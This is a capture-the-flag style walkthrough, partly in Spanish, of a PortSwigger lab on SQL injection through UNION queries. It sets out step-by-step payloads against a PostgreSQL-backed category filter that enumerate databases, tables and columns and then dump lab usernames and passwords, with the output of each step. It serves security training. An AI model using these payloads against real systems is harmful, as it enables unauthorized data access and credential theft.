SQL injection UNION attack, retrieving data from other tables

https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs.

The database contains a different table called users, with columns called username and password.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

---

https://siunam321.github.io/ctf/portswigger-labs/SQL-Injection/sqli-5/

no da error: entonces hay 2 columnas

/filter?category=' UNION SELECT NULL,NULL-- -

Se procede a enumerar cualacepta un string como datatype.

' UNION SELECT 'SQL Injection 1','SQL Injection 2'-- -

Ambas aceptan string

' UNION SELECT NULL,version()-- -

PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-list-database

List Databases SELECT datname FROM pg_database

' UNION SELECT NULL,datname FROM pg_database-- -

template1 academy_labs postgres template0

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-list-database Database Name SELECT CURRENT_DATABASE()

' UNION SELECT NULL, CURRENT_DATABASE()  -- -

OUTPUT : academy_labs

' UNION SELECT NULL,table_name FROM information_schema.tables-- -

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-list-database

List Tables	SELECT table_name FROM information_schema.tables

' UNION SELECT NULL,table_name FROM information_schema.tables-- -

OUTPUT

...
users
...

' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users'-- -

email
password
username

' UNION SELECT username,password FROM users-- -

wiener
	gkpo2esaf8pyr61pcl54
administrator
	kps4m6l7skp82xu0cf0f
carlos
	hrldi4r7xf9wjjdwcyfv